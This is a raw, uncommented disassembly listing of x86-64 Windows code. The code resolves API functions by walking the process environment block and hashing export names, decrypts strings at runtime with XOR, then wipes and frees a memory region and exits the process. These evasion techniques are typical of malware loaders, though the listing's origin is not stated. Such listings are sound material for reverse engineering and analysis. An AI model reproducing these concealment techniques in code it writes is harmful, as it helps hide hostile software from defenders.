jb 0x7ff7b50b5f4c
mov rcx, qword [rcx]
sub rdx, rcx
nop
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x7ff7b50b5f50
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x7ff7b50b5fe3
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x7ff7b50b5fe3
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r11 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ebx, 0x8b69cc99
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x7ff7b50b5fde
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x7ff7b50b5fc0
cmp ebx, 0x59d1acaa
je 0x7ff7b50b5fe8
test r8d, r8d
jne 0x7ff7b50b5fa0
mov rax, qword [rax]
jmp 0x7ff7b50b5f70
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
mov rcx, qword [0x7ff7b50d0108]
call rdx
lea rsi, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0x10
cmovae rsi, qword [rbp + 0x1d0]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x7ff7b50b60a3
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x7ff7b50b60a3
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r11 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ebx, 0x185112aa
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x7ff7b50b609e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x7ff7b50b6080
cmp ebx, 0x4695cc8c
je 0x7ff7b50b60a8
test r8d, r8d
jne 0x7ff7b50b6060
mov rax, qword [rax]
jmp 0x7ff7b50b6030
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
mov r8, rsi
xor edx, edx
xor ecx, ecx
call rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x7ff7b50b63b4
mov qword [rbp + 0x560], r12
movabs rsi, 0xf632543e64af3d06
mov qword [rbp + 0x568], rsi
mov qword [rbp + 0x570], r15
mov qword [rbp + 0x578], r13
movabs rax, 0xe49e2674ad6cce4a
mov qword [rbp + 0x510], rax
movabs rax, 0x8641314c44c8536f
mov qword [rbp + 0x518], rax
movabs rax, 0x5d0eba538ee01524
mov qword [rbp + 0x520], rax
mov qword [rbp + 0x528], r13
movdqa xmm0, xmmword [rbp + 0x560]
pxor xmm0, xmmword [rbp + 0x510]
movdqa xmmword [rbp + 0x510], xmm0
movdqa xmm1, xmmword [rbp + 0x520]
pxor xmm1, xmmword [rbp + 0x570]
movdqa xmmword [rbp + 0x520], xmm1
lea rcx, [rbp + 0x510]
call fcn.7ff7b50c0950
call qword [sym.imp.kernel32.dll_GetCurrentProcessId]
mov ecx, eax
mov r8b, 1
mov rdx, r14
call fcn.7ff7b50b7230
test al, al
jne 0x7ff7b50b6270
call qword [sym.imp.kernel32.dll_GetLastError]
mov qword [rbp + 0x190], r12
mov qword [rbp + 0x198], rsi
mov qword [rbp + 0x1a0], r15
mov qword [rbp + 0x1a8], r13
movabs rbx, 0xc4cf699f788c1c05
mov qword [rbp + 0x1b0], rbx
movabs rdx, 0x6bb44ecaa67151ca
mov qword [rbp + 0x1b8], rdx
movabs rcx, 0xfc9e2665ad6cc84a
mov qword [rsp + 0x50], rcx
movabs rcx, 0x82417451108f5963
mov qword [rsp + 0x58], rcx
movabs rcx, 0x324cfd1bcbe7092a
mov qword [rsp + 0x60], rcx
movabs rcx, 0x5d94bcce69954be0
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rdx
movdqa xmm0, xmmword [rbp + 0x190]
pxor xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [rsp + 0x60]
pxor xmm1, xmmword [rbp + 0x1a0]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [rsp + 0x70]
pxor xmm0, xmmword [rbp + 0x1b0]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, eax
lea rcx, [rsp + 0x50]
call fcn.7ff7b50c05b0
nop
lea rcx, [rbp + 0x210]
call fcn.7ff7b509bbf0
jmp 0x7ff7b50b68bb
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x7ff7b50b6303
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x7ff7b50b6303
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0xce708e34
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x7ff7b50b62fe
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x7ff7b50b62e0
cmp ebx, 0xb347f667
je 0x7ff7b50b6308
test r8d, r8d
jne 0x7ff7b50b62c0
mov rax, qword [rax]
jmp 0x7ff7b50b6290
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
mov rcx, qword [0x7ff7b50d0108]
call rdx
mov rcx, r14
call qword [sym.imp.ucrtbase.dll_free]
mov qword [rbp + 0x550], r12
mov qword [rbp + 0x558], rsi
movabs rax, 0xf3943270ad6cce4a
mov qword [rsp + 0x50], rax
movabs rax, 0xf6325e104adc4e63
mov qword [rsp + 0x58], rax
movdqa xmm0, xmmword [rbp + 0x550]
pxor xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x50]
call fcn.7ff7b50c0950
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
nop
lea rcx, [rbp + 0x210]
call fcn.7ff7b509bbf0
nop
lea rcx, [rbp + 0x1f0]
call fcn.7ff7b509bbf0
nop
lea rcx, [rbp + 0x1d0]
call fcn.7ff7b509bbf0
mov al, 1
jmp 0x7ff7b50b68d6
call qword [sym.imp.kernel32.dll_GetLastError]
mov qword [rbp + 0x190], r12
movabs rcx, 0xf632543e64af3d06
mov qword [rbp + 0x198], rcx
mov qword [rbp + 0x1a0], r15
mov qword [rbp + 0x1a8], r13
movabs rcx, 0xc4cf699f788c1c05
mov qword [rbp + 0x1b0], rcx
movabs rcx, 0x6bb44ecaa67151ca
mov qword [rbp + 0x1b8], rcx
movabs rcx, 0xfc9e2665ad6cc84a
mov qword [rbp + 0x560], rcx
movabs rcx, 0x84517451108f5963
mov qword [rbp + 0x568], rcx
movabs rcx, 0x3445e75d8ee71a2e
mov qword [rbp + 0x570], rcx
movabs rcx, 0x34d5e09060a81cbd
mov qword [rbp + 0x578], rcx
movabs rcx, 0xa1a406eb58ff6f60
mov qword [rbp + 0x580], rcx
movabs rcx, 0x6bbe16ef864071a4
mov qword [rbp + 0x588], rcx
movdqa xmm0, xmmword [rbp + 0x190]
pxor xmm0, xmmword [rbp + 0x560]
movdqa xmmword [rbp + 0x560], xmm0
movdqa xmm1, xmmword [rbp + 0x570]
pxor xmm1, xmmword [rbp + 0x1a0]
movdqa xmmword [rbp + 0x570], xmm1
movdqa xmm0, xmmword [rbp + 0x580]
pxor xmm0, xmmword [rbp + 0x1b0]
movdqa xmmword [rbp + 0x580], xmm0
mov edx, eax
lea rcx, [rbp + 0x560]
call fcn.7ff7b50c05b0
lea rcx, [rbp + 0x210]
call fcn.7ff7b50be8c0
mov r8, rax
xor edx, edx
mov rcx, r14
call sub.VCRUNTIME140.dll_memset
call qword [sym.imp.kernel32.dll_GetCurrentProcess]
mov rcx, rax
mov r9d, 0x18000
xor r8d, r8d
mov rdx, r14
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
mov rcx, qword [0x7ff7b50d0df0]
mov rax, qword [rcx]
mov edx, 6
call qword [rax + 0x78]
mov rdx, rax
lea rcx, [0x7ff7b50c6598]
call fcn.7ff7b50c05b0
mov rcx, qword [0x7ff7b50d0df0]
mov rax, qword [rcx]
mov rbx, qword [rax + 0x40]
mov edx, 6
call qword [rax + 0x78]
lea rcx, [rbp - 0x40]
jmp 0x7ff7b50b5371
mov rcx, qword [0x7ff7b50d0df0]
mov rax, qword [rcx]
mov edx, 5
call qword [rax + 0x78]
mov rdx, rax
lea rcx, [0x7ff7b50c6598]
call fcn.7ff7b50c05b0
mov rcx, qword [0x7ff7b50d0df0]
mov rax, qword [rcx]
mov rbx, qword [rax + 0x40]
mov edx, 5
call qword [rax + 0x78]
lea rcx, [rbp - 0x40]
jmp 0x7ff7b50b5371
call qword [sym.imp.kernel32.dll_GetLastError]
movabs rcx, 0x90f747038d31e511
mov qword [rbp + 0x190], rcx
movabs rcx, 0xf632543e64af3d06
mov qword [rbp + 0x198], rcx
movabs rcx, 0x5720947deb937b4b
mov qword [rbp + 0x1a0], rcx
mov qword [rbp + 0x1a8], r13
movabs rcx, 0xc4cf699f788c1c05
mov qword [rbp + 0x1b0], rcx
movabs rdx, 0x6bb44ecaa67151ca
mov qword [rbp + 0x1b8], rdx
movabs rcx, 0xfc9e2665ad6cc84a
mov qword [rbp + 0x5b0], rcx
movabs rcx, 0x865d7451108f5963
mov qword [rbp + 0x5b8], rcx
movabs rcx, 0x7745f8148db3152e
mov qword [rbp + 0x5c0], rcx
movabs rcx, 0xf9fb2cd60954be0
mov qword [rbp + 0x5c8], rcx
movabs rcx, 0xc4cf699556a2322c
mov qword [rbp + 0x5d0], rcx
mov qword [rbp + 0x5d8], rdx
movdqa xmm0, xmmword [rbp + 0x190]
pxor xmm0, xmmword [rbp + 0x5b0]
movdqa xmmword [rbp + 0x5b0], xmm0
movdqa xmm1, xmmword [rbp + 0x5c0]
pxor xmm1, xmmword [rbp + 0x1a0]
movdqa xmmword [rbp + 0x5c0], xmm1
movdqa xmm0, xmmword [rbp + 0x5d0]
pxor xmm0, xmmword [rbp + 0x1b0]
movdqa xmmword [rbp + 0x5d0], xmm0
mov r8d, eax
mov rdx, rbx
lea rcx, [rbp + 0x5b0]
call fcn.7ff7b50c05b0
mov ecx, 0x3e8
call qword [sym.imp.kernel32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
call qword [sym.imp.kernel32.dll_GetLastError]
movabs rcx, 0x90f747038d31e511
mov qword [rbp + 0x190], rcx
movabs rcx, 0xf632543e64af3d06
mov qword [rbp + 0x198], rcx
movabs rcx, 0x5720947deb937b4b
mov qword [rbp + 0x1a0], rcx
mov qword [rbp + 0x1a8], r13
movabs rcx, 0xc4cf699f788c1c05
mov qword [rbp + 0x1b0], rcx
movabs rcx, 0x6bb44ecaa67151ca
mov qword [rbp + 0x1b8], rcx
movabs rcx, 0xfc9e2665ad6cc84a
mov qword [rbp + 0x5b0], rcx
movabs rcx, 0x84517451108f5963
mov qword [rbp + 0x5b8], rcx
movabs rcx, 0x3445e75d8ee71a2e
mov qword [rbp + 0x5c0], rcx
movabs rcx, 0x34d5e09060a81cbd
mov qword [rbp + 0x5c8], rcx
movabs rcx, 0xa1a406eb58ff6f60
mov qword [rbp + 0x5d0], rcx
movabs rcx, 0x6bbe16ef864071a4
mov qword [rbp + 0x5d8], rcx
movdqa xmm0, xmmword [rbp + 0x190]
pxor xmm0, xmmword [rbp + 0x5b0]
movdqa xmmword [rbp + 0x5b0], xmm0
movdqa xmm1, xmmword [rbp + 0x5c0]
pxor xmm1, xmmword [rbp + 0x1a0]
movdqa xmmword [rbp + 0x5c0], xmm1
movdqa xmm0, xmmword [rbp + 0x5d0]
pxor xmm0, xmmword [rbp + 0x1b0]
movdqa xmmword [rbp + 0x5d0], xmm0
mov edx, eax
lea rcx, [rbp + 0x5b0]
call fcn.7ff7b50c05b0
jmp 0x7ff7b50b68bb
mov rcx, qword [0x7ff7b50d0df0]
mov rax, qword [rcx]
mov edx, 3
call qword [rax + 0x78]
mov rdx, rax
lea rcx, [0x7ff7b50c6598]
call fcn.7ff7b50c05b0
mov rcx, qword [0x7ff7b50d0df0]
mov rax, qword [rcx]
mov rbx, qword [rax + 0x40]
mov edx, 3
call qword [rax + 0x78]
lea rcx, [rbp - 0x40]
jmp 0x7ff7b50b5371
movabs rax, 0x90f747038d31e511
mov qword [rbp + 0x560], rax
movabs rax, 0xf632543e64af3d06
mov qword [rbp + 0x568], rax
mov qword [rbp + 0x570], r15
mov qword [rbp + 0x578], r14
movabs rax, 0xfc9e2665ad6cce4a
mov qword [rbp + 0x510], rax
movabs rax, 0x93557451108f5963
mov qword [rbp + 0x518], rax
movabs rax, 0x3e00f11084e05b3f
mov qword [rbp + 0x520], rax
movabs rax, 0x57ba989334b81ea6
mov qword [rbp + 0x528], rax
movdqa xmm0, xmmword [rbp + 0x560]
pxor xmm0, xmmword [rbp + 0x510]
movdqa xmmword [rbp + 0x510], xmm0
movdqa xmm1, xmmword [rbp + 0x520]
pxor xmm1, xmmword [rbp + 0x570]
movdqa xmmword [rbp + 0x520], xmm1
lea rcx, [rbp + 0x510]
call fcn.7ff7b50c05b0
nop
lea rcx, [rbp + 0x1f0]
call fcn.7ff7b509bbf0
nop
lea rcx, [rbp + 0x1d0]
call fcn.7ff7b509bbf0
xor al, al
mov rcx, qword [rbp + 0x680]
xor rcx, rsp
call fcn.7ff7b50c16f0
lea r11, [rsp + 0x790]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rcx, rdi
call fcn.7ff7b50c0090
mov qword [rbp + 0x550], rax
lea r8, [rbp + 0x550]
lea rdx, [0x7ff7b50c7b98]
lea rcx, [rbp - 0x40]
call fcn.7ff7b50945c0
nop
mov r9, rdi
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 0x190]
call fcn.7ff7b5095150
lea rdx, [0x7ff7b50cd1b0]
lea rcx, [rbp + 0x190]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call fcn.7ff7b509e880
int3
call fcn.7ff7b509e880
nop
call fcn.7ff7b509e880
nop
call fcn.7ff7b509e880
int3